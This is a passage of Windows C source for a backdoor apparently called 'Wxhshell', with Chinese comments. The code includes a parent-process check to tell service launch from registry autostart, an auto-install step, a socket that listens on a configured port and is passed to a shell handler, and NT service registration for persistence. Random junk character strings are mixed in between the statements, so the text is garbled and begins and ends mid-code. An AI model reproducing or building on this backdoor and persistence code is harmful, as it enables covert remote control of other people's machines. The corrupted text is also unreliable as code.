(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {S{ %KkAV rzAf {2 if (!NtQueryInformationProcess) return 0; rwLKY.J] Qy" Jt ]O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &S{r;N5u if(!hProcess) return 0; agx8 *x 3)EJws! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s`bGW1#io 6~%><C CloseHandle(hProcess); ?;CIS$$r TUnAsE/J& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'cpm 4mT if(hProcess==NULL) return 0; &>Ve4!i
q Hh^ "c} HMODULE hMod; \
T#|<= char procName[255]; K`Kv .4 unsigned long cbNeeded; .8|wc 6
H P66B if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ),p0V
M/p9 I
gp CloseHandle(hProcess); ?0/$RpFEM# x!_5/ if(strstr(procName,"services")) return 1; // 以服务启动 /&Oo)OB; l|WFS return 0; // 注册表启动 i|1*bZ6' } >SDQ@63E? (Ut8pa+yX // 主模块 p*Q-o int StartWxhshell(LPSTR lpCmdLine) (a_bU5) { B8Fb$ SOCKET wsl; RD:G9[ BOOL val=TRUE; $^iio@SW{ int port=0; w UxFE=ia struct sockaddr_in door; #4bT8kq u4~+Bc_GL if(wscfg.ws_autoins) Install(); \.mVLLtG OK80-/8HI port=atoi(lpCmdLine); "++\6H< 1@L18%h if(port<=0) port=wscfg.ws_port; w&L~+Z< O.B9w+G= WSADATA data; 2/4zg if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t<` As6} 1;( h0j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; JW[6
^Rw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .gg0rTf=- door.sin_family = AF_INET; 6U ! P8q door.sin_addr.s_addr = inet_addr("127.0.0.1"); vd lss| door.sin_port = htons(port); DSwb8q X=whZ\EZ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AE77i,Xa closesocket(wsl); _l7_!Il_ return 1; `Jc/ o=] } ?2&= +QaT dHIk3j-! if(listen(wsl,2) == INVALID_SOCKET) { Q)0KYKD+@ closesocket(wsl); GmR3
a return 1; e El)wZ,A } $,~Ily7w Wxhshell(wsl); jvB[bS`<H WSACleanup(); U)8yd,qG[% $$m0mK return 0; P5?VrZy _ARG
" } p Run5 )7 Qa_V // 以NT服务方式启动 g:fvg!_v VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I*N"_uKU { -NJpql{Cb DWORD status = 0; t/;0/ql\ DWORD specificError = 0xfffffff; Z>`\$1CI N~=I))i serviceStatus.dwServiceType = SERVICE_WIN32; y-3'qq'E serviceStatus.dwCurrentState = SERVICE_START_PENDING; *Mhirz%iD serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B$2b=\ serviceStatus.dwWin32ExitCode = 0; g{DehBM serviceStatus.dwServiceSpecificExitCode = 0; LXo$\~M8G8 serviceStatus.dwCheckPoint = 0; 9PKXQp serviceStatus.dwWaitHint = 0; %FYhq:j 7{}E{/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7_2D4CI if (hServiceStatusHandle==0) return; sg7h&<Xx CnB[ImMs(A status = GetLastError(); h}@wPP{ if (status!=NO_ERROR) 3FR(gr$X { SQ,-45@W serviceStatus.dwCurrentState = SERVICE_STOPPED; -kk7y serviceStatus.dwCheckPoint = 0; G~1;_' serviceStatus.dwWaitHint = 0; T MMKRC1< serviceStatus.dwWin32ExitCode = status; |s!
_;6 serviceStatus.dwServiceSpecificExitCode = specificError; Ts
!g=F SetServiceStatus(hServiceStatusHandle, &serviceStatus); aPelt` return; OY{fxBb } eP]y\S*P |,,#DSe serviceStatus.dwCurrentState = SERVICE_RUNNING; gttsxOgktH serviceStatus.dwCheckPoint = 0; h,Hr0^? serviceStatus.dwWaitHint = 0; :o!Kz`J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f`Fj-<v } Acw`ytV u9@B& // 处理NT服务事件,比如:启动、停止 {*O%A
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0FcDO5ia { vSnVq>-q& switch(fdwControl) CBd%}il { &tZIWV1& case SERVICE_CONTROL_STOP: v<v;Z R) serviceStatus.dwWin32ExitCode = 0; Nx.9)MjI serviceStatus.dwCurrentState = SERVICE_STOPPED; Nl YFS?5 serviceStatus.dwCheckPoint = 0; *:H,-@ serviceStatus.dwWaitHint = 0;
<)TIj6 { qkhre3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); oUnb-,8n } 9$$ Ijf return; VkJ">0k case SERVICE_CONTROL_PAUSE: 4nm.ea| serviceStatus.dwCurrentState = SERVICE_PAUSED; ^rJTlh
9 break; & |